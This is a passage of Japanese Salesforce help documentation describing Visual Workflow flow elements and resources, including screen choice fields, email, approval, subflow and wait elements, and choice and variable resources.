項目の左に表示します。表示ラベルの形式を設定するには、 をク
リックします。

表示ラベ
ル

一意の名前には、アンダースコアと英数字を使用できます。最初は
文字であること、空白は使用しない、最後にアンダースコアを使用
しない、2 つ続けてアンダースコアを使用しないという制約があり
ます。

一意の名
前

[選択設定] で使用できる選択肢を制御します。たとえば、[数値] を選
択した場合、テキストデータ型の選択肢は使用できません。
複数選択項目の値データ型は変更できません。テキストのみがサ
ポートされます。

値のデー
タ型

小数点以下の桁数を制御します。18 以上にすることはできません。
この項目を空白にした場合、または 0 に設定した場合は、フローの

スケール

実行時に整数のみが表示されます。[通貨] および [数値] 選択肢項目
でのみ使用できます。
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説明項目

次の画面に進む前に、ユーザに強制的に選択肢を指定させます。必須項目

ユーザに事前選択された選択肢。関連付けられた画面が実行されていない場合、選択肢項目の
保存値は常に null です。

デフォルト値

ユーザがその中から選ぶことができる選択オプション。設定済みの選択肢、動的レコード選択
肢、選択リスト選択肢のいずれかを選択します。

選択肢

メモ: 選択肢を並び替えることはできません。

選択肢のデータ型は [値のデータ型] に一致する必要があります。

ユーザが をクリックすると表示される情報。
この項目では、任意の型の単一値リソースを使用できます。その値はテキストとして処理され
ます。

[ヘルプテキ
スト]ボック
ス

関連トピック:

複数選択肢項目の制限
フロー画面要素の選択肢項目のオプション
フローの画面要素

フロー画面要素の選択肢項目のオプション
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フロー画面の選択肢項目を設定する場合の要となるのが、項目に表示する選択
オプションの選択です。これらのオプションは、個々のラジオボタンやチェッ
クボックスまたはドロップダウンリストのオプションとして表示されます。選
択肢、動的レコード選択肢、選択リスト選択肢のリソースの 1 つ以上を使用し
て選択オプションを作成します。
動的レコード選択肢と選択リスト選択肢は設定が簡単で、選択肢ほどメンテナ
ンスを要しません。フローの選択肢リソース (スタンドアロンの選択肢ともいう)

は、他の 2 つが使用できない場合にのみ使用することをお勧めします。

使用するリソースユーザが項目で選択する対象

動的レコード選択肢絞り込まれたレコードのセット

選択リスト選択肢既存の選択リスト項目または複数選択
リスト項目に対応する値のセット
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使用するリソースユーザが項目で選択する対象

選択肢レコード、選択リスト項目、複数選択リスト項目から
は生成できないもの

関連トピック:

フローの画面要素: 選択肢項目
フローの動的レコード選択肢リソース
フローの選択リスト選択肢リソース
フローの選択肢リソース

フローの画面要素: 表示テキスト項目
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フローを実行しているユーザに情報を表示します。

説明項目

一意の名前には、アンダースコアと英数字を使用できます。最初は
文字であること、空白は使用しない、最後にアンダースコアを使用
しない、2 つ続けてアンダースコアを使用しないという制約があり
ます。

一意の名
前

フローユーザに表示されるテキスト。 をクリックして、プレーン
テキストエディタとリッチテキストエディタを切り替えます。リッ
チテキストエディタを使用して、コンテンツを HTML として保存し
ます。
この項目では、任意の型の単一値リソースを使用できます。その値
はテキストとして処理されます。

テキスト
ボックス

例: フローユーザに「お知らせ」メッセージや契約条件を表示します。

関連トピック:

フローの画面要素

5765

Visual Workflowコードではなくてクリックによる Salesforce の拡張



フローのメールの送信要素

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フローに件名、本文、受信者を手動で指定して、メールを送信します。

ヒント:

• メール本文のテキストをテキストテンプレートに保存します。
• 組織に存在するメールテンプレートを使用するには、代わりにメールア

ラートをコールします。

メールの 1 人以上の受信者を指定します。アドレスの合計数が 5 以下であればど
ちらのメールアドレスパラメータも使用できます。

説明項目

メールの本文のテキスト。このメールはプレーンテキスト
として処理されます。HTML 書式設定は考慮されません。
このパラメータでは、任意の種別の単一値リソースを使用
できます。その値はテキストとして処理されます。

本文

メールの件名のテキスト。
このパラメータでは、任意の種別の単一値リソースを使用
できます。その値はテキストとして処理されます。

件名

省略可能。メールの受信者。
メールを正常に送信するためには、[メールアドレス (カン
マ区切り)]または [メールアドレス (集合)]に値を入力し

メールアドレス
(カンマ区切り)

ます。メールアドレスの合計数が 5 以下であればどちらの
パラメータも使用できます。
このパラメータでは、任意の種別の単一値リソースを使用
できます。その値はテキストとして処理されます。

省略可能。メールの受信者。
メールを正常に送信するためには、[メールアドレス (カン
マ区切り)]または [メールアドレス (集合)]に値を入力し

メールアドレス
(集合)

ます。メールアドレスの合計数が 5 以下であればどちらの
パラメータも使用できます。
このパラメータでは、テキスト型のコレクション変数を使
用できます。

メールの送信に使用される組織のメールアドレス。[送信
者タイプ]が OrgWideEmailAddressに設定されている場
合にのみ必要です。
このパラメータでは、任意の種別の単一値リソースを使用
できます。その値はテキストとして処理されます。

送信者のアドレス
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説明項目

省略可能。メールの送信元アドレスおよび返信先アドレスとして使用されるメー
ルアドレス。有効な値は、次のとおりです。

送信者タイプ

• CurrentUser  — フローを実行しているユーザのメールアドレス。(デフォル
ト)

• DefaultWorkflowUser  — デフォルトワークフローユーザのメールアドレス。
• OrgWideEmailAddress  — [送信者のアドレス] で指定される組織のメールア

ドレス。

使用方法
メモ: 実行時、インタビューのトランザクションが完了するまで、メールは送信されません。トランザク
ションは、インタビューが終了したとき、画面要素を実行したとき、待機要素を実行したときのいずれ
かの時点で完了します。

関連トピック:

フローからのメールの送信
フローのテキストテンプレートリソース
フローが失敗した場合の処理のカスタマイズ
フローが辿るパスの定義
フローでのクロスオブジェクト項目の参照

フローのステップ要素

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

どの要素が必要か確定していない場合に、プレースホルダとして機能します。

使用方法
ステップは、有効なフローでは無効な要素です。フロー管理者は、ステップ要
素を使用したドラフトフローを実行できます。フローを有効にする前に、ステッ
プ要素を他の要素に置き換えるか、完全に削除します。
ステップ要素にマウスカーソルを移動して をクリックすれば、ステップ要素
を画面要素にいつでも変換できます。

メモ:

• 複数のコネクタを含むステップを画面に変換すると、すべてのコネクタ
が削除されます。
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• ステップ要素が変換された後は、ステップの元の一意名を使用できません。

関連トピック:

フローの画面要素
フロー要素
フローが辿るパスの定義

フローの承認申請要素

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

1 つの Salesforce レコードの承認申請を行います。

ヒント: 開始する前に、承認申請するレコードの ID を保存します。

入力
フローから承認申請にデータを転送します。

説明入力パラメータ

承認申請するレコードの ID。
このパラメータでは、任意の種別の単一値リソースを使用
できます。その値はテキストとして処理されます。

レコード ID

承認プロセスで承認者が自動的に割り当てられない場合に、
承認申請に割り当てられるユーザの ID。
このパラメータでは、1 つの項目のみを含むテキスト型の
コレクション変数を使用できます。

次の承認者 ID

レコードを申請する特定の承認プロセスの一意の名前また
は ID。このプロセスは、オブジェクト種別が [レコード
ID] で指定したレコードと同じでなければなりません。
[開始条件をスキップ] が $GlobalConstant.True に設定
されている場合は必須です。

承認プロセス名ま
たは ID

このパラメータが設定されておらず、[申請者 ID] も設定
されていない場合は、次の両方の条件が満たされた場合に
のみフローが成功します。
• 申請の承認者が自動的に決定される
• フローを起動したユーザが、許可されている最初の申請

者である
次の両方を確認してください。
• 申請の承認者が自動的に決定される
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説明入力パラメータ

• (このオブジェクトに関連する承認プロセスの) の最初の申請者に、このフロー
を起動した可能性のあるすべてユーザが含まれている

このパラメータでは、任意の種別の単一値リソースを使用できます。その値はテ
キストとして処理されます。

$GlobalConstant.True に設定されている場合は、[承認プロセス名または ID]

で定義されたプロセスに設定された開始条件に照らして評価されません。
このパラメータでは、ブール型の任意の単一値リソースを使用できます。

開始条件をスキップ

申請に付記するテキスト。差し込み項目または数式を参照しないでください。
申請コメントは、指定したレコードの承認履歴に表示されます。テンプレートで
{!ApprovalRequest.Comments} 差し込み項目を使用する場合は、最初の承認
申請メールにもこのテキストが表示されます。

登録コメント

このパラメータでは、任意の種別の単一値リソースを使用できます。その値はテ
キストとして処理されます。

レコードの承認申請を行ったユーザの ID。このユーザは、承認申請に対する返答
に関する通知を受信します。
ユーザは、プロセス定義設定で許可されている申請者のいずれかである必要があ
ります。

申請者 ID

この項目を設定しない場合は、フローを起動したユーザが申請者になります。こ
の要素を含むフローがワークフロールールによってトリガされた場合は、ワーク
フロールールをトリガしたユーザが申請者になります。ワークフロールールは、
ユーザがレコードを作成または編集したときにトリガできます。レコードが承認
または却下されると、フローを起動したユーザまたはワークフロールールをトリ
ガしたユーザに通知されます。
このパラメータでは、任意の種別の単一値リソースを使用できます。その値はテ
キストとして処理されます。

出力
承認申請からフローにデータを転送します。承認申請の作成時に割り当てが行われます。

説明省略可能な出力パラメー
タ

送信された承認申請の ID。
このパラメータでは、テキスト型、選択リスト型、選択リスト (複数選択) 型の単
一値変数を使用できます。

インスタンス ID

5769

Visual Workflowコードではなくてクリックによる Salesforce の拡張



説明省略可能な出力パラメー
タ

現在の承認申請の状況。有効な値は、「Approved」、「Rejected」、「Removed」、
または「Pending」です。
このパラメータでは、テキスト型、選択リスト型、選択リスト (複数選択) 型の単
一値変数を使用できます。

インスタンス状況

承認申請に送信された新しい項目の ID。0 件または 1 件の承認プロセスがありま
す。
このパラメータでは、テキスト型のコレクション変数を使用できます。

新しい作業項目 ID

次の承認者として割り当てられたユーザの ID。
このパラメータでは、テキスト型のコレクション変数を使用できます。

次の承認者 ID

承認を得るためにフローで送信されたレコードの ID。
このパラメータでは、テキスト型、選択リスト型、選択リスト (複数選択) 型の単
一値変数を使用できます。

カスタムオブジェクト ID

使用方法
メモ: 実行時、インタビューのトランザクションが完了するまで、承認申請は作成されません。トランザ
クションは、インタビューが終了したとき、画面要素を実行したとき、待機要素を実行したときのいず
れかの時点で完了します。

関連トピック:

フロー要素
フローが失敗した場合の処理のカスタマイズ
フローが辿るパスの定義
フローでのクロスオブジェクト項目の参照
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フローのサブフロー要素

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

組織の別のフローをコールします。この要素を使用して、モジュールフローを
参照し、フローの全体的なアーキテクチャを簡素化します。
サブフロー要素は、実行時に別のフローを参照してコールします。フローにサ
ブフロー要素が含まれる場合、そのフローを「マスタフロー」と呼んで、参照
されるフローと区別します。

ヒント: 一般的なタスクを実行する小規模なフローを作成します。たとえ
ば、住所とクレジットカード情報を取得してクレジットカードの購入金額
を承認する、ユーティリティフローを構築します。次に、複数の商品注文
フローから必要に応じてこれらのフローをコールします。

参照されるフローの変数に値を割り当てます。変数の割り当ては、実行時にマ
スタフローが参照されるフローをコールするときに行われます。

説明列ヘッダー

設定する値を持つ参照されるフローの変数。
デフォルトでは、このドロップダウンリストには参照されるフローの現在有効なバージョン
の変数が表示されます。参照されるフローに有効なバージョンがない場合は、最新バージョ
ンの参照されるフローの変数がドロップダウンリストに表示されます。

対象

対象に割り当てるマスタフローのリソースまたは値。
オプション:

ソース

• 変数、定数、またはユーザ入力など、既存のフローリソースを選択します。
• [新規作成] を選択して、フローリソースを作成します。
• リテラル値または差し込み項目を手動入力します。
[ソース] のデータ型は [対象] と互換性がある必要があります。

参照されるフローの変数の値をマスタフローの変数に割り当てます。変数の割り当ては、参照されるフローの
実行が終了したときに行われます。

説明列ヘッダー

対象に割り当てる値を持つ参照されるフローの変数。
デフォルトでは、このドロップダウンリストには参照されるフローの現在有効なバージョン
の変数が表示されます。参照されるフローに有効なバージョンがない場合は、最新バージョ
ンの参照されるフローの変数がドロップダウンリストに表示されます。

ソース

設定する値を持つマスタフローの変数。
[対象] のデータ型は [ソース] と互換性がある必要があります。

対象
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使用方法
実行時には、マスタフローはデフォルトで、それぞれの有効なバージョンの参照フローをコールします。参照
されているフローに有効なバージョンがない場合、マスタフローは最新バージョンの参照フローをコールしま
す。参照される各フローの最新バージョンのみを実行するには、次のいずれかの方法を使用します。
• マスタフローを開き、ボタンバーの [最新フローを実行] をクリックする。
• ?latestSub=true のマスタフローの URL を追加する。

メモ: フロー管理者のみが無効なフローを実行できます。他のユーザの場合、サブフロー要素が有効な
バージョンのないフローをコールしようとすると、フローは実行時に失敗します。

関連トピック:

フロー要素
別の参照されるフローバージョンの入力および出力の表示
フローが失敗した場合の処理のカスタマイズ
フローが辿るパスの定義
フローでのクロスオブジェクト項目の参照

フローの待機要素

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

1 つ以上の定義済みイベントが発生するまで待機します。待機要素により、待機
時間を伴うプロセスを自動化できます。
フローで次に進む前に待機するイベントを定義します。

説明項目

名前は、このイベントに関連付けられたコネクタに表示されま
す。

名前

一意性の要件は、現在のフロー内の要素のみに適用されます。
異なるフローで使用されている場合、同じ一意の名前を持つ 2

つの要素を使用できます。一意の名前には、アンダースコアと
英数字を使用できます。最初は文字であること、空白は使用し

一意の名前

ない、最後にアンダースコアを使用しない、2 つ続けてアン
ダースコアを使用しないという制約があります。

フローがどちらの時間で待機するかを指定します。イベントの種
別 • 絶対時間 (今から 3 日間など)

• Salesforce レコードの日付/時間項目に対する相対時間 (商談が
完了してから 3 日間など)

フローが待機する正確なイベントを決定します。選択したイベ
ント種別ごとにパラメータが異なります。

イベントの条
件
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説明項目

選択した場合は、特定の条件が満たされた場合にのみフローがこのイベントを待機し
ます。

他の条件が満たされ
た場合にのみ、この
イベントを待機しま
す

フローがこのイベントを待機するためには true である必要がある条件を決定します。
[他の条件が満たされた場合にのみ、このイベントを待機します] が選択されている場合
のみ使用できます。
フローがイベントを待機するのは、待機条件が true の場合のみです。詳細は、「フ
ロー条件の定義」 (ページ 5725)を参照してください。

待機条件

イベントの出力をフロー変数に割り当てます。選択したイベント種別ごとにパラメー
タが異なります。

変数割り当て

すべてのイベントが待機条件を満たしていない場合のフローの動作を決定します。少
なくとも 1 つのイベントに待機条件がない場合、デフォルトパスが実行されることは
ありません。
この名前は、待機要素のデフォルトコネクタに表示されます。定義済みの値を置き換
えて、このパスのカスタム名を指定します。

[デフォルトパス]

使用方法
メモ:

• 待機要素を使用するフローは、自動起動でなければなりません。フローに待機要素と画面、選択肢、
または動的選択肢が含まれる場合は、有効化または実行できません。

• フローに待機要素を追加する場合は、その特殊な動作や制限を理解しておく必要があります。詳細
は、「時間ベースのフローの制限」 (ページ 5694)を参照してください。

イベントを定義したら、待機要素をキャンバスの他の要素に接続して、次の場合にフローが何を行うかを示し
ます。
• 各イベントが最初に発生した場合。待機要素で定義したイベントごとに 1 つのコネクタ (1) を使用できま

す。
• 各イベントの待機条件を満たさないために、待機するイベントがなくなった場合。待機要素のデフォルト

パスに 1 つのコネクタ (2) を使用できます。
• 待機要素に関連するエラーが生じた場合。待機要素の障害パスに 1 つのコネクタ(3)を使用でき、常に [FAULT

(障害)] という表示ラベルが付けられます。
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複数のイベントを待機する場合は、フローパスを待機要素に戻して、フローで他のイベントを待機するように
します。フローパスを待機要素に戻す場合は、待機条件を使用して、どのような場合にフローが各イベントを
待機するのかを制御することを検討してください。「多数のイベントを待機するサンプルフロー」 (ページ5831)

の例を参照してください。

待機条件とは?

フローの待機要素で定義する各イベントに、省略可能な待機条件を設定できます。フローインタビューが
実行時にこのイベントを待機するためには、これらの条件を満たす必要があります。

関連トピック:

フローが失敗した場合の処理のカスタマイズ
フローが辿るパスの定義
フローでのクロスオブジェクト項目の参照
フロー要素

待機条件とは?

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フローの待機要素で定義する各イベントに、省略可能な待機条件を設定できま
す。フローインタビューが実行時にこのイベントを待機するためには、これら
の条件を満たす必要があります。
インタビューは、待機要素があると各イベントの待機条件をチェックして待機
するイベントを判断します。イベントの待機条件を満たさなければ、インタ
ビューはイベントを待機しません。すべてのイベントが待機条件を満たしてい
ない場合は、インタビューはデフォルトパスを実行します。

ヒント: 次の場合は、デフォルトパスを追加します。
• すべてのイベントに待機条件が設定されている。
• すべてのイベントの待機条件を満たしたときにフローを先に進める。

例: 次に、待機条件を使用する 2 つのシナリオを示します。
• 特定のレコードの項目値に基づいてフローが異なるイベントを待機する。

たとえば、契約終了日の前に契約所有者にメールのリマインダーを送信するとします。ただし、契約
している取引先の評価によってメールの送信日が異なります。「見込み有り」の取引先には、終了日
の 1 か月前にメールを送信します。「見込み有り」以外の取引先には、終了日の 2 週間前にメールを
送信します。
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この例では、2 つのイベントを作成します。「見込み有り」の取引先のイベントは、契約終了日の 30

日前に発生します。待機条件は、契約している取引先の [評価] が「見込み有り」であるかどうかを
チェックします。

2 番目のイベントは、契約終了日の 15 日前に発生します。待機条件は、契約している取引先の [評価]

が「見込み有り」でないかどうかをチェックします。
フローインタビューが実行時に待機要素を実行すると、インタビューが各イベントの待機条件をチェッ
クします。待機条件を満たすイベントのみを待機します。取引先が「見込み有り」の場合、インタ
ビューは 2 つ目のイベントを待機しません。

• フローで複数のイベントの発生を待機する (定期的なメールのリマインダーを送信する場合など)。こ
のシナリオの例については、「多数のイベントを待機するサンプルフロー」 (ページ5831)を参照してく
ださい。

関連トピック:

フローレコード検索条件の演算子
フローの待機要素
フローのイベント種別

フローのリソース

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

各リソースは、フロー全体で参照できる値を表します。
Cloud Flow Designerの [エクスプローラ] タブに、フローで使用可能なリソースが表
示されます。
リソースをダブルクリックして、[リソース] タブから作成できるリソースもあり
ます。グローバル定数やシステム変数など一部のリソースは、システムで自動
的に指定されます。他のリソースは、フローに要素を追加したときにシステム
で指定されます。たとえば、フローに決定要素を追加すると、各結果のリソー
スが作成されます。
使用可能なリソースは設定する項目によって異なります。項目のドロップダウ
ンリストの [新規作成] セクションを展開して、項目内からリソースを作成でき
る場合がよくあります。
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[リソース] タブから作成
可能

説明フローのリ
ソース

はい画面選択項目で使用できる個々の値を表します。選択肢

はい同じデータ型の複数の更新可能な値 (一連のメールアドレスなど) を
保存します。

コレクショ
ン変数

はい固定値を保存します。定数

はいオブジェクトのレコードから生成される一連の選択肢を表します。動的レコー
ド選択肢

フローに追加する要素はすべて、結果条件で was visited 演算子
を持つ [リソース]として使用できます。フローインタビューで要素

要素

がすでに実行されている場合は、要素がアクセス済みとみなされま
す。
障害コネクタをサポートするフローに追加するすべての要素は、
Boolean リソースとして使用できます。要素がフローインタビューで
正常に実行済みの場合、リソースの値は True になります。要素が
実行されていないか、実行されてもエラーになった場合、リソース
の値は False になります。

はいフローの他のリソースと Salesforce 関数を使用して値を計算します。数式

EmptyString、True、Falseなど、フローのリソースの値として割
り当てることができるシステム指定の固定値です。

グローバル
定数

ユーザの ID や API セッション ID など、組織や実行ユーザに関する情
報を参照できるシステム指定の変数です。Visual Workflow では、グロー
バル変数はフローの数式でのみ使用できます。

グローバル
変数

決定要素をフローに追加する場合、その結果を Boolean リソースとし
て使用できます。結果パスがフローインタビューで正常に実行済み
の場合、リソースの値は True になります。

結果

はい選択リスト項目または複数選択リスト項目の値から生成された選択
肢のセットを表します。

選択リスト
選択肢

sObject 変数および sObject コレクション変数の選択リスト項目のシス
テム指定の値。割り当て要素および決定要素でのみ使用できます。

選択リスト
値

フローに追加するすべての画面項目は、リソースとして使用できま
す。リソースの値は、画面項目の種別によって異なります。画面入

画面項目

力項目の値は、ユーザが入力する値です。画面選択項目の値は、ユー
ザが選択する選択肢に保存される値です。画面出力項目の値は、ユー
ザに表示されるテキストです。
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[リソース] タブから作成
可能

説明フローのリ
ソース

はい1 つ以上の Salesforce レコードの更新可能な項目値を保存します。SObject コレ
クション変
数

はいSalesforce レコードの更新可能な項目値を保存します。SObject 変数

{!$Flow.CurrentDate}、{!$Flow.CurrentDateTime}、
{!$Flow.FaultMessage} など、実行中のフローインタビューに関
するシステム指定の値。

システム変
数

はい書式設定済みテキストを保存します。テキストテ
ンプレート

はいフローの実行時に更新できる値を保存します。変数

待機要素をフローに追加すると、そのイベントを Boolean リソースと
して使用できます。イベントの待機条件を満たす場合は、リソース

待機イベン
ト

の値が True になります。このイベントに待機条件が設定されてい
ない場合、リソースの値は常に True です。

フローの選択肢リソース
画面選択項目で使用する個々の値を表します。
フローのコレクション変数リソース
同じデータ型の複数の更新可能な値 (一連のメールアドレスなど) を保存します。
フローの定数リソース
フローの定数は固定値を表します。この値は、変数とは異なり、フローを通して変更できません。
フローの動的レコード選択肢リソース
オブジェクトのレコードから生成される一連の選択肢を表します。
フローの数式リソース
フローの他のリソースと Salesforce 関数を使用して値を計算します。
フローのグローバル定数リソース
EmptyString、True、False など、システム指定の固定値です。
Visual Workflow のグローバル変数
ユーザの ID や API セッション ID など、組織や実行ユーザに関する情報を参照できるシステム指定の変数で
す。Visual Workflow では、グローバル変数はフローの数式でのみ使用できます。
フローの選択リスト選択肢リソース
選択リスト項目または複数選択リスト項目の値から生成された選択肢のセットを表します。
フローの sObject コレクション変数リソース
1 つ以上の Salesforce レコードの更新可能な項目値を保存します。
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フローの sObject 変数リソース
Salesforce レコードの更新可能な項目値を保存します。
フローのシステム変数
{!$Flow.CurrentDate}、{!$Flow.CurrentDateTime}、{!$Flow.FaultMessage}など、実行中のフ
ローインタビューに関するシステム指定の値。
フローのテキストテンプレートリソース
HTML 形式のテキストを保存します。
フローの変数リソース
フローの実行時に更新できる値を保存します。

関連トピック:

Cloud Flow Designer

フローの選択肢リソース

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

画面選択項目で使用する個々の値を表します。

説明項目

選択オプションのわかりやすい表示レベル。表示ラベル

一意の名前には、アンダースコアと英数字を使用できます。
最初は文字であること、空白は使用しない、最後にアンダー
スコアを使用しない、2 つ続けてアンダースコアを使用しな
いという制約があります。

一意の名前

この選択オプションを他のリソースと区別します。説明

この選択肢を使用可能な選択項目を制御します。たとえば、
[通貨] ラジオボタン項目にはテキスト型の選択肢は使用でき
ません。

値のデータ型

小数点以下の桁数を制御します。18 以上にすることはできま
せん。この項目を空白にした場合、または 0 に設定した場合
は、フローの実行時に整数のみが表示されます。
通貨および数値選択肢でのみ使用可能です。

スケール

ユーザがこの選択肢を選択した場合、選択項目はこの値にな
ります。ユーザが選択肢を空白のままにするか、選択しない
場合、保存されている値は null に設定されます。

保存値

選択オプションの下にテキストボックスを表示します。選択
肢のデータ型が Boolean の場合はこのオプションを使用で
きません。

選択の入力を表
示
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次の項目は、[選択の入力を表示] を選択した場合にのみ表示されます。

説明項目

テキストボックスのわかりやすい表示レベル。表示ラベル

次の画面に進む前またはフローを終了する前に、ユーザに強制的に値をテキストボックスに入
力させます。

必須項目

ユーザが許容される値を入力したかどうかを評価します。検証

次の項目は、[検証] を選択した場合にのみ表示されます。

説明項目

ユーザが許容される値を入力したかどうかを評価する Boolean 数式。数式

ユーザが許容される値を入力しなかった場合に表示されます。エラーメッ
セージ

例: フローでユーザに特定のサービスレベルを選択するよう求める場合は、Gold、Silver、Bronze といった
選択肢を作成します。画面に、含まれる機能の説明付きの選択肢を表示します。次に、同じ画面でユー
ザにドロップダウンリストからの選択を求めます。

選択肢表示ラベルのリッチテキスト
リッチテキストエディタを使用して、すべての選択肢の表示ラベルを設定できますが、選択肢を使用する場所
に注意してください。
ドロップダウンリストおよび複数選択リスト項目

リッチテキストはサポートされません。リッチテキストを含む選択肢をドロップダウンリストに含めると、
実行時に選択肢は、エスケープした形式の HTML 文字で表示されます。
たとえば、選択肢の表示ラベル <b>My Label</b> は実行時に &lt;b&gt;My Label&lt;/b&gt; のよう
に表示されます。

ラジオボタンと複数選択チェックボックス項目
• リッチテキストはサポートされます。
• HTML マークアップを表示ラベルに適用するとき以外は、山括弧 (<と >) を使用しないでください。代わ

りに角括弧 ([ と ]) を使用してください。リッチテキストをサポートする項目で選択肢を使用すると、
山括弧で囲まれたものは HTML として扱われます。内容が有効な HTML でない場合、その内容は表示ラベ
ルから除外されます。
たとえば、「<My Label>」という選択肢をラジオボタンまたは複数選択チェックボックス項目に含めた
とします。<My Label> は無効な HTML であるとみなされ、実行時にこの値は表示ラベルから除外されま
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す。フローでは、表示ラベルにその他の値が含まれていないために何も表示されないのではなく、選択
肢の一意の名前 My_Label が表示されます。

関連トピック:

フローのリソース
フローの画面要素: 選択肢項目
フロー画面要素の選択肢項目のオプション
フローでのクロスオブジェクト項目の参照

フローのコレクション変数リソース

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

同じデータ型の複数の更新可能な値 (一連のメールアドレスなど) を保存します。

説明項目

一意性の要件は、現在のフロー内の要素のみに適用されま
す。異なるフローで使用されている場合、同じ一意の名前
を持つ 2 つの要素を使用できます。一意の名前には、アン
ダースコアと英数字を使用できます。最初は文字であるこ
と、空白は使用しない、最後にアンダースコアを使用しな
い、2 つ続けてアンダースコアを使用しないという制約が
あります。

一意の名前

このコレクション変数を他のリソースと区別します。説明

コレクション変数に割り当てることができる値の型を決定
します。

データ型

コレクション変数にフロー外からアクセスできるかどうか
を決定します。

入力/出力種別

• 非公開 — フロー内でのみ、割り当てて使用できます。
• 入力 — Visualforce コントローラまたはサブフロー入力を

使用して、フローの開始時に設定できます。
• 出力 — Visualforce コントローラと他のフローからアクセ

スできます。
たとえば、割り当て、レコードまたは高速作成、レコード
または高速検索、およびApexプラグインなどの要素による
同じフロー内での変数の割り当て方法や使用方法に、この
項目が影響することはありません。
項目のデフォルト値は Private です。

警告: 既存の変数の入力または出力アクセスを無効に
すると、フローをコールして変数にアクセスするアプ
リケーションやページの機能が停止する可能性があり
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説明項目

ます。たとえば、URL パラメータ、Visualforceコントローラ、サブフロー、プ
ロセスから変数にアクセスできます。

関連トピック:

フローのリソース
フローの sObject コレクション変数リソース
フローのループ要素
フローでのクロスオブジェクト項目の参照

フローの定数リソース

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フローの定数は固定値を表します。この値は、変数とは異なり、フローを通し
て変更できません。

説明項目

一意性の要件は、現在のフロー内の要素のみに適用されま
す。異なるフローで使用されている場合、同じ一意の名前
を持つ 2 つの要素を使用できます。一意の名前には、アン
ダースコアと英数字を使用できます。最初は文字であるこ
と、空白は使用しない、最後にアンダースコアを使用しな
い、2 つ続けてアンダースコアを使用しないという制約が
あります。

一意の名前

この定数を他のリソースと区別します。説明

定数が保存できる値の型を決定します。データ型

定数の値。この値はフローを通して変更されません。値

関連トピック:

フローのリソース
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フローの動的レコード選択肢リソース

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

オブジェクトのレコードから生成される一連の選択肢を表します。

説明項目

一意性の要件は、現在のフロー内の要素のみに適用されま
す。異なるフローで使用されている場合、同じ一意の名前
を持つ 2 つの要素を使用できます。一意の名前には、アン
ダースコアと英数字を使用できます。最初は文字であるこ
と、空白は使用しない、最後にアンダースコアを使用しな
い、2 つ続けてアンダースコアを使用しないという制約が
あります。

一意の名前

このリソースを他のリソースと区別します。説明

選択肢の保存値のデータ型。値のデータ型

選択肢の生成にレコードを使用するオブジェクトを特定し
ます。

それぞれの選択肢
を作成

生成された選択肢のリストに含まれるレコードを決定しま
す。検索条件を適用しない場合は、選択したオブジェクト
のすべてのレコードに対して選択肢が生成されます。
たとえば、サンフランシスコのすべての取引先のリストを
生成するには、市区郡 (請求先) がサンフランシスコの取引
先のみを含む検索条件を使用します。

検索条件

生成された各選択肢の表示ラベルとして使用する項目を決
定します。生成された選択肢をユーザが区別するための項
目を選択します。

選択肢表示ラベル

ヒント: データを含む項目を選択していることを確認
します。選択した項目に指定したレコードの値がない
場合は、実行時に対応する選択肢の表示ラベルが空白
になります。

実行時にユーザがこの選択肢を選択したときに保存される
項目の値を決定します。[値のデータ型]は、使用可能なオ
プションを決定します。
デフォルトで、保存値は null です。保存値は、生成された
セット内でユーザが最近選択した選択肢によって決定され
ます。

選択肢保存値

選択肢が表示される順序を制御します。
[結果の並び替え基準] が選択されている場合は、選択肢の
並び替え基準となる項目も選択します。次に、選択肢が表
示される順序を選択します。

結果の並び替え基
準
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説明項目

この動的レコード選択肢を使用する画面項目に表示されるオプションの数を制御
します。
[選択肢数の制限]が選択されている場合は、表示する選択肢の最大数 (200 以下) も
入力します。

選択肢数の制限

ユーザが選択したレコードから項目値を取得して、フロー変数に保存します。こ
の変数は後から参照できます。

レコード項目を変数に割り
当て...

メモ: 複数選択肢項目に動的レコード選択肢を使用する場合は、ユーザが選
択した最後のレコードの値のみがフロー変数に保存されます。同一画面上の
複数の複数選択肢項目に同じ動的レコード選択肢を使用する場合は、最初の
項目に従って変数が割り当てられます。

例: コンピュータハードウェア製造業者のサポートフローで、ユーザが商品を特定して最新の更新を検索
します。この場合、商品 ID が特定の文字列で始まるすべての商品を表示する、動的レコード選択肢を作
成します。ただし、フローユーザは商品 ID よりも商品名を知っている可能性があるため、[選択肢表示ラ
ベル]には商品名を含む項目を選択します。フローの他の場所で、関連する商品 ID と説明を表示します。
このために、ユーザが選択したレコードの ID 項目と説明項目の値をフロー変数に割り当てます。

関連トピック:

フローレコード検索条件の演算子
フローの画面要素: 選択肢項目
